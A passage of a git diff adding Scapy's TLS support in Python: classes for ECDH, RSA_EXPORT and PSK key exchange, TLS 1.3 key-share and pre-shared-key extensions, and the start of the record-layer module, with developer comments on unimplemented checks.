+                                  _tls_ec_basis_cls),
+                    PacketField("curve", ECCurvePkt(), ECCurvePkt),
+                    FieldLenField("baselen", None, length_of="base", fmt="B"),
+                    StrLenField("base", "",
+                                length_from = lambda pkt: pkt.baselen),
+                    ByteField("order", None),
+                    ByteField("cofactor", None),
+                    FieldLenField("pointlen", None,
+                                  length_of="point", fmt="B"),
+                    StrLenField("point", "",
+                                length_from = lambda pkt: pkt.pointlen) ]
+
+    def fill_missing(self):
+        if self.curve_type is None:
+            self.curve_type = _tls_ec_curve_types["explicit_char2"]
+
+    def guess_payload_class(self, p):
+        return Padding
+
+
+class ServerECDHNamedCurveParams(_GenericTLSSessionInheritance):
+    name = "Server ECDH parameters - Named Curve"
+    fields_desc = [ ByteEnumField("curve_type", 3, _tls_ec_curve_types),
+                    ShortEnumField("named_curve", None, _tls_named_curves),
+                    FieldLenField("pointlen", None,
+                                  length_of="point", fmt="B"),
+                    StrLenField("point", None,
+                                length_from = lambda pkt: pkt.pointlen) ]
+
+    @crypto_validator
+    def fill_missing(self):
+        """
+        We do not want TLSServerKeyExchange.build() to overload and recompute
+        things everytime it is called. This method can be called specifically
+        to have things filled in a smart fashion.
+
+        XXX We should account for the point_format (before 'point' filling).
+        """
+        s = self.tls_session
+
+        if self.curve_type is None:
+            self.curve_type = _tls_ec_curve_types["named_curve"]
+
+        if self.named_curve is None:
+            curve = ec.SECP256R1()
+            s.server_kx_privkey = ec.generate_private_key(curve,
+                                                          default_backend())
+            curve_id = 0
+            for cid, name in six.iteritems(_tls_named_curves):
+                if name == curve.name:
+                    curve_id = cid
+                    break
+            self.named_curve = curve_id
+        else:
+            curve_name = _tls_named_curves.get(self.named_curve)
+            if curve_name is None:
+                # this fallback is arguable
+                curve = ec.SECP256R1()
+            else:
+                curve_cls = ec._CURVE_TYPES.get(curve_name)
+                if curve_cls is None:
+                    # this fallback is arguable
+                    curve = ec.SECP256R1()
+                else:
+                    curve = curve_cls()
+            s.server_kx_privkey = ec.generate_private_key(curve,
+                                                          default_backend())
+
+        if self.point is None:
+            pubkey = s.server_kx_privkey.public_key()
+            self.point = pubkey.public_numbers().encode_point()
+        # else, we assume that the user wrote the server_kx_privkey by himself
+        if self.pointlen is None:
+            self.pointlen = len(self.point)
+
+        if not s.client_kx_ecdh_params:
+            s.client_kx_ecdh_params = curve
+
+    @crypto_validator
+    def register_pubkey(self):
+        """
+        XXX Support compressed point format.
+        XXX Check that the pubkey received is on the curve.
+        """
+        #point_format = 0
+        #if self.point[0] in [b'\x02', b'\x03']:
+        #    point_format = 1
+
+        curve_name = _tls_named_curves[self.named_curve]
+        curve = ec._CURVE_TYPES[curve_name]()
+        import_point = ec.EllipticCurvePublicNumbers.from_encoded_point
+        pubnum = import_point(curve, self.point)
+        s = self.tls_session
+        s.server_kx_pubkey = pubnum.public_key(default_backend())
+
+        if not s.client_kx_ecdh_params:
+            s.client_kx_ecdh_params = curve
+
+    def post_dissection(self, r):
+        try:
+            self.register_pubkey()
+        except ImportError:
+            pass
+
+    def guess_payload_class(self, p):
+        return Padding
+
+
+_tls_server_ecdh_cls = { 1: ServerECDHExplicitPrimeParams,
+                         2: ServerECDHExplicitChar2Params,
+                         3: ServerECDHNamedCurveParams }
+
+def _tls_server_ecdh_cls_guess(m):
+    if not m:
+        return None
+    curve_type = orb(m[0])
+    return _tls_server_ecdh_cls.get(curve_type, None)
+
+
+### RSA Encryption (export)
+
+class ServerRSAParams(_GenericTLSSessionInheritance):
+    """
+    Defined for RSA_EXPORT kx : it enables servers to share RSA keys shorter
+    than their principal {>512}-bit key, when it is not allowed for kx.
+
+    This should not appear in standard RSA kx negotiation, as the key
+    has already been advertised in the Certificate message.
+    """
+    name = "Server RSA_EXPORT parameters"
+    fields_desc = [ FieldLenField("rsamodlen", None, length_of="rsamod"),
+                    StrLenField("rsamod", "",
+                                length_from = lambda pkt: pkt.rsamodlen),
+                    FieldLenField("rsaexplen", None, length_of="rsaexp"),
+                    StrLenField("rsaexp", "",
+                                length_from = lambda pkt: pkt.rsaexplen) ]
+
+    @crypto_validator
+    def fill_missing(self):
+        k = PrivKeyRSA()
+        k.fill_and_store(modulusLen=512)
+        self.tls_session.server_tmp_rsa_key = k
+        pubNum = k.pubkey.public_numbers()
+
+        if not self.rsamod:
+            self.rsamod = pkcs_i2osp(pubNum.n, k.pubkey.key_size//8)
+        if self.rsamodlen is None:
+            self.rsamodlen = len(self.rsamod)
+
+        rsaexplen = math.ceil(math.log(pubNum.e)/math.log(2)/8.)
+        if not self.rsaexp:
+            self.rsaexp = pkcs_i2osp(pubNum.e, rsaexplen)
+        if self.rsaexplen is None:
+            self.rsaexplen = len(self.rsaexp)
+
+    @crypto_validator
+    def register_pubkey(self):
+        mLen = self.rsamodlen
+        m    = self.rsamod
+        e    = self.rsaexp
+        self.tls_session.server_tmp_rsa_key = PubKeyRSA((e, m, mLen))
+
+    def post_dissection(self, pkt):
+        try:
+            self.register_pubkey()
+        except ImportError:
+            pass
+
+    def guess_payload_class(self, p):
+        return Padding
+
+
+### Pre-Shared Key
+
+class ServerPSKParams(Packet):
+    """
+    XXX We provide some parsing abilities for ServerPSKParams, but the
+    context operations have not been implemented yet. See RFC 4279.
+    Note that we do not cover the (EC)DHE_PSK key exchange,
+    which should contain a Server*DHParams after 'psk_identity_hint'.
+    """
+    name = "Server PSK parameters"
+    fields_desc = [ FieldLenField("psk_identity_hint_len", None,
+                                  length_of="psk_identity_hint", fmt="!H"),
+                    StrLenField("psk_identity_hint", "",
+                        length_from=lambda pkt: pkt.psk_identity_hint_len) ]
+
+    def fill_missing(self):
+        pass
+
+    def post_dissection(self, pkt):
+        pass
+
+    def guess_payload_class(self, p):
+        return Padding
+
+
+###############################################################################
+### Client Key Exchange value                                               ###
+###############################################################################
+
+### FFDH/ECDH
+
+class ClientDiffieHellmanPublic(_GenericTLSSessionInheritance):
+    """
+    If the user provides a value for dh_Yc attribute, we assume he will set
+    the pms and ms accordingly and trigger the key derivation on his own.
+
+    XXX As specified in 7.4.7.2. of RFC 4346, we should distinguish the needs
+    for implicit or explicit value depending on availability of DH parameters
+    in *client* certificate. For now we can only do ephemeral/explicit DH.
+    """
+    name = "Client DH Public Value"
+    fields_desc = [ FieldLenField("dh_Yclen", None, length_of="dh_Yc"),
+                    StrLenField("dh_Yc", "",
+                                length_from=lambda pkt: pkt.dh_Yclen) ]
+
+    @crypto_validator
+    def fill_missing(self):
+        s = self.tls_session
+        params = s.client_kx_ffdh_params
+        s.client_kx_privkey = params.generate_private_key()
+        pubkey = s.client_kx_privkey.public_key()
+        y = pubkey.public_numbers().y
+        self.dh_Yc = pkcs_i2osp(y, pubkey.key_size//8)
+
+        if s.client_kx_privkey and s.server_kx_pubkey:
+            pms = s.client_kx_privkey.exchange(s.server_kx_pubkey)
+            s.pre_master_secret = pms
+            s.compute_ms_and_derive_keys()
+
+    def post_build(self, pkt, pay):
+        if not self.dh_Yc:
+            try:
+                self.fill_missing()
+            except ImportError:
+                pass
+        if self.dh_Yclen is None:
+            self.dh_Yclen = len(self.dh_Yc)
+        return pkcs_i2osp(self.dh_Yclen, 2) + self.dh_Yc + pay
+
+    def post_dissection(self, m):
+        """
+        First we update the client DHParams. Then, we try to update the server
+        DHParams generated during Server*DHParams building, with the shared
+        secret. Finally, we derive the session keys and update the context.
+        """
+        s = self.tls_session
+
+        # if there are kx params and keys, we assume the crypto library is ok
+        if s.client_kx_ffdh_params:
+            y = pkcs_os2ip(self.dh_Yc)
+            param_numbers = s.client_kx_ffdh_params.parameter_numbers()
+            public_numbers = dh.DHPublicNumbers(y, param_numbers)
+            s.client_kx_pubkey = public_numbers.public_key(default_backend())
+
+        if s.server_kx_privkey and s.client_kx_pubkey:
+            ZZ = s.server_kx_privkey.exchange(s.client_kx_pubkey)
+            s.pre_master_secret = ZZ
+            s.compute_ms_and_derive_keys()
+
+    def guess_payload_class(self, p):
+        return Padding
+
+class ClientECDiffieHellmanPublic(_GenericTLSSessionInheritance):
+    """
+    Note that the 'len' field is 1 byte longer than with the previous class.
+    """
+    name = "Client ECDH Public Value"
+    fields_desc = [ FieldLenField("ecdh_Yclen", None,
+                                  length_of="ecdh_Yc", fmt="B"),
+                    StrLenField("ecdh_Yc", "",
+                                length_from=lambda pkt: pkt.ecdh_Yclen)]
+
+    @crypto_validator
+    def fill_missing(self):
+        s = self.tls_session
+        params = s.client_kx_ecdh_params
+        s.client_kx_privkey = ec.generate_private_key(params,
+                                                      default_backend())
+        pubkey = s.client_kx_privkey.public_key()
+        x = pubkey.public_numbers().x
+        y = pubkey.public_numbers().y
+        self.ecdh_Yc = (b"\x04" +
+                        pkcs_i2osp(x, params.key_size//8) +
+                        pkcs_i2osp(y, params.key_size//8))
+
+        if s.client_kx_privkey and s.server_kx_pubkey:
+            pms = s.client_kx_privkey.exchange(ec.ECDH(), s.server_kx_pubkey)
+            s.pre_master_secret = pms
+            s.compute_ms_and_derive_keys()
+
+    def post_build(self, pkt, pay):
+        if not self.ecdh_Yc:
+            try:
+                self.fill_missing()
+            except ImportError:
+                pass
+        if self.ecdh_Yclen is None:
+            self.ecdh_Yclen = len(self.ecdh_Yc)
+        return pkcs_i2osp(self.ecdh_Yclen, 1) + self.ecdh_Yc + pay
+
+    def post_dissection(self, m):
+        s = self.tls_session
+
+        # if there are kx params and keys, we assume the crypto library is ok
+        if s.client_kx_ecdh_params:
+            import_point = ec.EllipticCurvePublicNumbers.from_encoded_point
+            pub_num = import_point(s.client_kx_ecdh_params, self.ecdh_Yc)
+            s.client_kx_pubkey = pub_num.public_key(default_backend())
+
+        if s.server_kx_privkey and s.client_kx_pubkey:
+            ZZ = s.server_kx_privkey.exchange(ec.ECDH(), s.client_kx_pubkey)
+            s.pre_master_secret = ZZ
+            s.compute_ms_and_derive_keys()
+
+
+### RSA Encryption (standard & export)
+
+class _UnEncryptedPreMasterSecret(Raw):
+    """
+    When the content of an EncryptedPreMasterSecret could not be deciphered,
+    we use this class to represent the encrypted data.
+    """
+    name = "RSA Encrypted PreMaster Secret (protected)"
+    def __init__(self, *args, **kargs):
+        if 'tls_session' in kargs:
+            del(kargs['tls_session'])
+        return super(_UnEncryptedPreMasterSecret, self).__init__(*args, **kargs)
+
+class EncryptedPreMasterSecret(_GenericTLSSessionInheritance):
+    """
+    Pay attention to implementation notes in section 7.4.7.1 of RFC 5246.
+    """
+    name = "RSA Encrypted PreMaster Secret"
+    fields_desc = [ _TLSClientVersionField("client_version", None,
+                                           _tls_version),
+                    StrFixedLenField("random", None, 46) ]
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if 'tls_session' in kargs:
+            s = kargs['tls_session']
+            if s.server_tmp_rsa_key is None and s.server_rsa_key is None:
+                return _UnEncryptedPreMasterSecret
+        return EncryptedPreMasterSecret
+
+    def pre_dissect(self, m):
+        s = self.tls_session
+        tbd = m
+        if s.tls_version >= 0x0301:
+            if len(m) < 2:      # Should not happen
+                return m
+            l = struct.unpack("!H", m[:2])[0]
+            if len(m) != l+2:
+                err = "TLS 1.0+, but RSA Encrypted PMS with no explicit length"
+                warning(err)
+            else:
+                tbd = m[2:]
+        if s.server_tmp_rsa_key is not None:
+            # priority is given to the tmp_key, if there is one
+            decrypted = s.server_tmp_rsa_key.decrypt(tbd)
+            pms = decrypted[-48:]
+        elif s.server_rsa_key is not None:
+            decrypted = s.server_rsa_key.decrypt(tbd)
+            pms = decrypted[-48:]
+        else:
+            # the dispatch_hook is supposed to prevent this case
+            pms = b"\x00"*48
+            err = "No server RSA key to decrypt Pre Master Secret. Skipping."
+            warning(err)
+
+        s.pre_master_secret = pms
+        s.compute_ms_and_derive_keys()
+
+        return pms
+
+    def post_build(self, pkt, pay):
+        """
+        We encrypt the premaster secret (the 48 bytes) with either the server
+        certificate or the temporary RSA key provided in a server key exchange
+        message. After that step, we add the 2 bytes to provide the length, as
+        described in implementation notes at the end of section 7.4.7.1.
+        """
+        enc = pkt
+
+        s = self.tls_session
+        s.pre_master_secret = enc
+        s.compute_ms_and_derive_keys()
+
+        if s.server_tmp_rsa_key is not None:
+            enc = s.server_tmp_rsa_key.encrypt(pkt, t="pkcs")
+        elif s.server_certs is not None and len(s.server_certs) > 0:
+            enc = s.server_certs[0].encrypt(pkt, t="pkcs")
+        else:
+            warning("No material to encrypt Pre Master Secret")
+
+        l = b""
+        if s.tls_version >= 0x0301:
+            l = struct.pack("!H", len(enc))
+        return l + enc + pay
+
+    def guess_payload_class(self, p):
+        return Padding
+
+
+# Pre-Shared Key
+
+class ClientPSKIdentity(Packet):
+    """
+    XXX We provide parsing abilities for ServerPSKParams, but the context
+    operations have not been implemented yet. See RFC 4279.
+    Note that we do not cover the (EC)DHE_PSK nor the RSA_PSK key exchange,
+    which should contain either an EncryptedPMS or a ClientDiffieHellmanPublic.
+    """
+    name = "Server PSK parameters"
+    fields_desc = [ FieldLenField("psk_identity_len", None,
+                                  length_of="psk_identity", fmt="!H"),
+                    StrLenField("psk_identity", "",
+                        length_from=lambda pkt: pkt.psk_identity_len) ]
+
diff --git a/scapy/layers/tls/keyexchange_tls13.py b/scapy/layers/tls/keyexchange_tls13.py
new file mode 100644
index 0000000..09af443
--- /dev/null
+++ b/scapy/layers/tls/keyexchange_tls13.py
@@ -0,0 +1,286 @@
+## This file is part of Scapy
+## Copyright (C) 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS 1.3 key exchange logic.
+"""
+
+import math
+
+from scapy.config import conf, crypto_validator
+from scapy.error import log_runtime, warning
+from scapy.fields import *
+from scapy.packet import Packet, Raw, Padding
+from scapy.layers.tls.cert import PubKeyRSA, PrivKeyRSA
+from scapy.layers.tls.session import _GenericTLSSessionInheritance
+from scapy.layers.tls.basefields import _tls_version, _TLSClientVersionField
+from scapy.layers.tls.extensions import TLS_Ext_Unknown, _tls_ext
+from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip
+from scapy.layers.tls.crypto.groups import (_tls_named_ffdh_groups,
+                                            _tls_named_curves, _ffdh_groups,
+                                            _tls_named_groups)
+
+if conf.crypto_valid:
+    from cryptography.hazmat.backends import default_backend
+    from cryptography.hazmat.primitives.asymmetric import dh, ec
+if conf.crypto_valid_advanced:
+    from cryptography.hazmat.primitives.asymmetric import x25519
+
+
+class KeyShareEntry(Packet):
+    """
+    When building from scratch, we create a DH private key, and when
+    dissecting, we create a DH public key. Default group is secp256r1.
+    """
+    __slots__ = ["privkey", "pubkey"]
+    name = "Key Share Entry"
+    fields_desc = [ShortEnumField("group", None, _tls_named_groups),
+                   FieldLenField("kxlen", None, length_of="key_exchange"),
+                   StrLenField("key_exchange", "",
+                               length_from=lambda pkt: pkt.kxlen) ]
+
+    def __init__(self, *args, **kargs):
+        self.privkey = None
+        self.pubkey = None
+        super(KeyShareEntry, self).__init__(*args, **kargs)
+
+    def do_build(self):
+        """
+        We need this hack, else 'self' would be replaced by __iter__.next().
+        """
+        tmp = self.explicit
+        self.explicit = True
+        b = super(KeyShareEntry, self).do_build()
+        self.explicit = tmp
+        return b
+
+    @crypto_validator
+    def create_privkey(self):
+        """
+        This is called by post_build() for key creation.
+        """
+        if self.group in _tls_named_ffdh_groups:
+            params = _ffdh_groups[_tls_named_ffdh_groups[self.group]][0]
+            privkey = params.generate_private_key()
+            self.privkey = privkey
+            pubkey = privkey.public_key()
+            self.key_exchange = pubkey.public_numbers().y
+        elif self.group in _tls_named_curves:
+            if _tls_named_curves[self.group] == "x25519":
+                if conf.crypto_valid_advanced:
+                    privkey = x25519.X25519PrivateKey.generate()
+                    self.privkey = privkey
+                    pubkey = privkey.public_key()
+                    self.key_exchange = pubkey.public_bytes()
+            elif _tls_named_curves[self.group] != "x448":
+                curve = ec._CURVE_TYPES[_tls_named_curves[self.group]]()
+                privkey = ec.generate_private_key(curve, default_backend())
+                self.privkey = privkey
+                pubkey = privkey.public_key()
+                self.key_exchange = pubkey.public_numbers().encode_point()
+
+    def post_build(self, pkt, pay):
+        if self.group is None:
+            self.group = 23     # secp256r1
+
+        if not self.key_exchange:
+            try:
+                self.create_privkey()
+            except ImportError:
+                pass
+
+        if self.kxlen is None:
+            self.kxlen = len(self.key_exchange)
+
+        group = struct.pack("!H", self.group)
+        kxlen = struct.pack("!H", self.kxlen)
+        return group + kxlen + self.key_exchange + pay
+
+    @crypto_validator
+    def register_pubkey(self):
+        if self.group in _tls_named_ffdh_groups:
+            params = _ffdh_groups[_tls_named_ffdh_groups[self.group]][0]
+            pn = params.parameter_numbers()
+            public_numbers = dh.DHPublicNumbers(self.key_exchange, pn)
+            self.pubkey = public_numbers.public_key(default_backend())
+        elif self.group in _tls_named_curves:
+            if _tls_named_curves[self.group] == "x25519":
+                if conf.crypto_valid_advanced:
+                    import_point = x25519.X25519PublicKey.from_public_bytes
+                    self.pubkey = import_point(self.key_exchange)
+            elif _tls_named_curves[self.group] != "x448":
+                curve = ec._CURVE_TYPES[_tls_named_curves[self.group]]()
+                import_point = ec.EllipticCurvePublicNumbers.from_encoded_point
+                public_numbers = import_point(curve, self.key_exchange)
+                self.pubkey = public_numbers.public_key(default_backend())
+
+    def post_dissection(self, r):
+        try:
+            self.register_pubkey()
+        except ImportError:
+            pass
+
+    def extract_padding(self, s):
+        return "", s
+
+
+class TLS_Ext_KeyShare_CH(TLS_Ext_Unknown):
+    name = "TLS Extension - Key Share (for ClientHello)"
+    fields_desc = [ShortEnumField("type", 0x28, _tls_ext),
+                   ShortField("len", None),
+                   FieldLenField("client_shares_len", None,
+                                 length_of="client_shares"),
+                   PacketListField("client_shares", [], KeyShareEntry,
+                            length_from=lambda pkt: pkt.client_shares_len) ]
+
+    def post_build(self, pkt, pay):
+        if not self.tls_session.frozen:
+            privshares = self.tls_session.tls13_client_privshares
+            for kse in self.client_shares:
+                if kse.privkey:
+                    if _tls_named_curves[kse.group] in privshares:
+                        pkt_info = pkt.firstlayer().summary()
+                        log_runtime.info("TLS: group %s used twice in the same ClientHello [%s]", kse.group, pkt_info)
+                        break
+                    privshares[_tls_named_groups[kse.group]] = kse.privkey
+        return super(TLS_Ext_KeyShare_CH, self).post_build(pkt, pay)
+
+    def post_dissection(self, r):
+        if not self.tls_session.frozen:
+            for kse in self.client_shares:
+                if kse.pubkey:
+                    pubshares = self.tls_session.tls13_client_pubshares
+                    if _tls_named_curves[kse.group] in pubshares:
+                        pkt_info = r.firstlayer().summary()
+                        log_runtime.info("TLS: group %s used twice in the same ClientHello [%s]", kse.group, pkt_info)
+                        break
+                    pubshares[_tls_named_curves[kse.group]] = kse.pubkey
+        return super(TLS_Ext_KeyShare_CH, self).post_dissection(r)
+
+
+class TLS_Ext_KeyShare_HRR(TLS_Ext_Unknown):
+    name = "TLS Extension - Key Share (for HelloRetryRequest)"
+    fields_desc = [ShortEnumField("type", 0x28, _tls_ext),
+                   ShortField("len", None),
+                   ShortEnumField("selected_group", None, _tls_named_groups) ]
+
+
+class TLS_Ext_KeyShare_SH(TLS_Ext_Unknown):
+    name = "TLS Extension - Key Share (for ServerHello)"
+    fields_desc = [ShortEnumField("type", 0x28, _tls_ext),
+                   ShortField("len", None),
+                   PacketField("server_share", None, KeyShareEntry) ]
+
+    def post_build(self, pkt, pay):
+        if not self.tls_session.frozen and self.server_share.privkey:
+            # if there is a privkey, we assume the crypto library is ok
+            privshare = self.tls_session.tls13_server_privshare
+            if len(privshare) > 0:
+                pkt_info = pkt.firstlayer().summary()
+                log_runtime.info("TLS: overwriting previous server key share [%s]", pkt_info)
+            group_name = _tls_named_groups[self.server_share.group]
+            privshare[group_name] = self.server_share.privkey
+
+            if group_name in self.tls_session.tls13_client_pubshares:
+                privkey = self.server_share.privkey
+                pubkey = self.tls_session.tls13_client_pubshares[group_name]
+                if group_name in six.itervalues(_tls_named_ffdh_groups):
+                    pms = privkey.exchange(pubkey)
+                elif group_name in six.itervalues(_tls_named_curves):
+                    if group_name == "x25519":
+                        pms = privkey.exchange(pubkey)
+                    else:
+                        pms = privkey.exchange(ec.ECDH(), pubkey)
+                self.tls_session.tls13_dhe_secret = pms
+        return super(TLS_Ext_KeyShare_SH, self).post_build(pkt, pay)
+
+    def post_dissection(self, r):
+        if not self.tls_session.frozen and self.server_share.pubkey:
+            # if there is a pubkey, we assume the crypto library is ok
+            pubshare = self.tls_session.tls13_server_pubshare
+            if len(pubshare) > 0:
+                pkt_info = r.firstlayer().summary()
+                log_runtime.info("TLS: overwriting previous server key share [%s]", pkt_info)
+            group_name = _tls_named_groups[self.server_share.group]
+            pubshare[group_name] = self.server_share.pubkey
+
+            if group_name in self.tls_session.tls13_client_privshares:
+                pubkey = self.server_share.pubkey
+                privkey = self.tls_session.tls13_client_privshares[group_name]
+                if group_name in six.itervalues(_tls_named_ffdh_groups):
+                    pms = privkey.exchange(pubkey)
+                elif group_name in six.itervalues(_tls_named_curves):
+                    if group_name == "x25519":
+                        pms = privkey.exchange(pubkey)
+                    else:
+                        pms = privkey.exchange(ec.ECDH(), pubkey)
+                self.tls_session.tls13_dhe_secret = pms
+        return super(TLS_Ext_KeyShare_SH, self).post_dissection(r)
+
+
+_tls_ext_keyshare_cls  = { 1: TLS_Ext_KeyShare_CH,
+                           2: TLS_Ext_KeyShare_SH,
+                           6: TLS_Ext_KeyShare_HRR }
+
+
+class Ticket(Packet):
+    name = "Recommended Ticket Construction (from RFC 5077)"
+    fields_desc = [ StrFixedLenField("key_name", None, 16),
+                    StrFixedLenField("iv", None, 16),
+                    FieldLenField("encstatelen", None, length_of="encstate"),
+                    StrLenField("encstate", "",
+                                length_from=lambda pkt: pkt.encstatelen),
+                    StrFixedLenField("mac", None, 32) ]
+
+class TicketField(PacketField):
+    __slots__ = ["length_from"]
+    def __init__(self, name, default, length_from=None, **kargs):
+        self.length_from = length_from
+        PacketField.__init__(self, name, default, Ticket, **kargs)
+
+    def m2i(self, pkt, m):
+        l = self.length_from(pkt)
+        tbd, rem = m[:l], m[l:]
+        return self.cls(tbd)/Padding(rem)
+
+class PSKIdentity(Packet):
+    name = "PSK Identity"
+    fields_desc = [FieldLenField("identity_len", None,
+                                 length_of="identity"),
+                   TicketField("identity", "",
+                               length_from=lambda pkt: pkt.identity_len),
+                   IntField("obfuscated_ticket_age", 0) ]
+
+class PSKBinderEntry(Packet):
+    name = "PSK Binder Entry"
+    fields_desc = [FieldLenField("binder_len", None, fmt="B",
+                                 length_of="binder"),
+                   StrLenField("binder", "",
+                               length_from=lambda pkt: pkt.binder_len) ]
+
+class TLS_Ext_PreSharedKey_CH(TLS_Ext_Unknown):
+    #XXX define post_build and post_dissection methods
+    name = "TLS Extension - Pre Shared Key (for ClientHello)"
+    fields_desc = [ShortEnumField("type", 0x28, _tls_ext),
+                   ShortField("len", None),
+                   FieldLenField("identities_len", None,
+                                 length_of="identities"),
+                   PacketListField("identities", [], PSKIdentity,
+                            length_from=lambda pkt: pkt.identities_len),
+                   FieldLenField("binders_len", None,
+                                 length_of="binders"),
+                   PacketListField("binders", [], PSKBinderEntry,
+                            length_from=lambda pkt: pkt.binders_len) ]
+
+
+class TLS_Ext_PreSharedKey_SH(TLS_Ext_Unknown):
+    name = "TLS Extension - Pre Shared Key (for ServerHello)"
+    fields_desc = [ShortEnumField("type", 0x29, _tls_ext),
+                   ShortField("len", None),
+                   ShortField("selected_identity", None) ]
+
+
+_tls_ext_presharedkey_cls  = { 1: TLS_Ext_PreSharedKey_CH,
+                               2: TLS_Ext_PreSharedKey_SH }
+
diff --git a/scapy/layers/tls/record.py b/scapy/layers/tls/record.py
new file mode 100644
index 0000000..f2d5024
--- /dev/null
+++ b/scapy/layers/tls/record.py
@@ -0,0 +1,755 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+Common TLS fields & bindings.
+
+This module covers the record layer, along with the ChangeCipherSpec, Alert and
+ApplicationData submessages. For the Handshake type, see tls_handshake.py.
+
+See the TLS class documentation for more information.
+"""
+
+import struct, traceback
+
+from scapy.config import conf
+from scapy.error import log_runtime
+from scapy.fields import *
+from scapy.compat import *
+from scapy.packet import *
+from scapy.layers.inet import TCP
+from scapy.layers.tls.session import _GenericTLSSessionInheritance
+from scapy.layers.tls.handshake import (_tls_handshake_cls, _TLSHandshake,
+                                        TLS13ServerHello)
+from scapy.layers.tls.basefields import (_TLSVersionField, _tls_version,
+                                         _TLSIVField, _TLSMACField,
+                                         _TLSPadField, _TLSPadLenField,
+                                         _TLSLengthField, _tls_type)
+from scapy.layers.tls.crypto.pkcs1 import randstring, pkcs_i2osp
+from scapy.layers.tls.crypto.compression import Comp_NULL
+from scapy.layers.tls.crypto.cipher_aead import AEADTagError
+if conf.crypto_valid_advanced:
+    from scapy.layers.tls.crypto.cipher_aead import Cipher_CHACHA20_POLY1305
+from scapy.layers.tls.crypto.cipher_stream import Cipher_NULL
+from scapy.layers.tls.crypto.ciphers import CipherError
+from scapy.layers.tls.crypto.h_mac import HMACError
+
+# Util
+def _tls_version_check(version, min):
+    """Returns if version >= min, or False if version == None"""
+    if version == None:
+        return False
+    return version >= min
+
+###############################################################################
+### TLS Record Protocol                                                     ###
+###############################################################################
+
+class _TLSEncryptedContent(Raw):
+    """
+    When the content of a TLS record (more precisely, a TLSCiphertext) could
+    not be deciphered, we use this class to represent the encrypted data.
+    The MAC will still be parsed from the whole message, even though it could
+    not been verified. When present (depending on cipher type and protocol
+    version), the nonce_explicit, IV and/or padding will also be parsed.
+    """
+    name = "Encrypted Content"
+
+
+class _TLSMsgListField(PacketListField):
+    """
+    This is the actual content of the TLS record. As a TLS record may pack
+    multiple sublayer messages (notably, several handshake messages),
+    we inherit from PacketListField.
+    """
+    def __init__(self, name, default, length_from=None):
+        if not length_from:
+            length_from = self._get_length
+        super(_TLSMsgListField, self).__init__(name, default, cls=None,
+                                               length_from=length_from)
+
+    def _get_length(self, pkt):
+        if pkt.deciphered_len is None:
+            return pkt.len
+        return pkt.deciphered_len
+
+    def m2i(self, pkt, m):
+        """
+        Try to parse one of the TLS subprotocols (ccs, alert, handshake or
+        application_data). This is used inside a loop managed by .getfield().
+        """
+        cls = Raw
+        if pkt.type == 22:
+            if len(m) >= 1:
+                msgtype = orb(m[0])
+                cls = _tls_handshake_cls.get(msgtype, Raw)
+        elif pkt.type == 20:
+            cls = TLSChangeCipherSpec
+        elif pkt.type == 21:
+            cls = TLSAlert
+        elif pkt.type == 23:
+            cls = TLSApplicationData
+
+        if cls is Raw:
+            return Raw(m)
+        else:
+            try:
+                return cls(m, tls_session=pkt.tls_session)
+            except:
+                if conf.debug_dissector:
+                    raise
+                return Raw(m)
+
+    def getfield(self, pkt, s):
+        """
+        If the decryption of the content did not fail with a CipherError,
+        we begin a loop on the clear content in order to get as much messages
+        as possible, of the type advertised in the record header. This is
+        notably important for several TLS handshake implementations, which
+        may for instance pack a server_hello, a certificate, a
+        server_key_exchange and a server_hello_done, all in one record.
+        Each parsed message may update the TLS context throught their method
+        .post_dissection_tls_session_update().
+
+        If the decryption failed with a CipherError, presumably because we
+        missed the session keys, we signal it by returning a
+        _TLSEncryptedContent packet which simply contains the ciphered data.
+        """
+        l = self.length_from(pkt)
+        lst = []
+        ret = b""
+        remain = s
+        if l is not None:
+            remain, ret = s[:l], s[l:]
+
+        if remain == b"":
+            if (((pkt.tls_session.tls_version or 0x0303) > 0x0200) and
+                hasattr(pkt, "type") and pkt.type == 23):
+                return ret, [TLSApplicationData(data=b"")]
+            else:
+                return ret, [Raw(load=b"")]
+
+        if False in six.itervalues(pkt.tls_session.rcs.cipher.ready):
+            return ret, _TLSEncryptedContent(remain)
+        else:
+            while remain:
+                raw_msg = remain
+                p = self.m2i(pkt, remain)
+                if Padding in p:
+                    pad = p[Padding]
+                    remain = pad.load
+                    del(pad.underlayer.payload)
+                    if len(remain) != 0:
+                        raw_msg = raw_msg[:-len(remain)]
+                else:
+                    remain = b""
+
+                if isinstance(p, _GenericTLSSessionInheritance):
+                    if not p.tls_session.frozen:
+                        p.post_dissection_tls_session_update(raw_msg)
+
+                lst.append(p)
+            return remain + ret, lst
+
+    def i2m(self, pkt, p):
+       """
+       Update the context with information from the built packet.
+       If no type was given at the record layer, we try to infer it.
+       """
+       cur = b""
+       if isinstance(p, _GenericTLSSessionInheritance):
+           if pkt.type is None:
+               if isinstance(p, TLSChangeCipherSpec):
+                   pkt.type = 20
+               elif isinstance(p, TLSAlert):
+                   pkt.type = 21
+               elif isinstance(p, _TLSHandshake):
+                   pkt.type = 22
+               elif isinstance(p, TLSApplicationData):
+                   pkt.type = 23
+           p.tls_session = pkt.tls_session
+           if not pkt.tls_session.frozen:
+               cur = p.raw_stateful()
+               p.post_build_tls_session_update(cur)
+           else:
+               cur = raw(p)
+       else:
+           pkt.type = 23
+           cur = raw(p)
+       return cur
+
+    def addfield(self, pkt, s, val):
+        """
+        Reconstruct the header because the TLS type may have been updated.
+        Then, append the content.
+        """
+        res = b""
+        for p in val:
+            res += self.i2m(pkt, p)
+        if (isinstance(pkt, _GenericTLSSessionInheritance) and
+            _tls_version_check(pkt.tls_session.tls_version, 0x0304) and
+            not isinstance(pkt, TLS13ServerHello)):
+                return s + res
+        if not pkt.type:
+            pkt.type = 0
+        hdr = struct.pack("!B", pkt.type) + s[1:5]
+        return hdr + res
+
+
+class TLS(_GenericTLSSessionInheritance):
+    """
+    The generic TLS Record message, based on section 6.2 of RFC 5246.
+
+    When reading a TLS message, we try to parse as much as we can.
+    In .pre_dissect(), according to the type of the current cipher algorithm
+    (self.tls_session.rcs.cipher.type), we extract the 'iv', 'mac', 'pad' and
+    'padlen'. Some of these fields may remain blank: for instance, when using
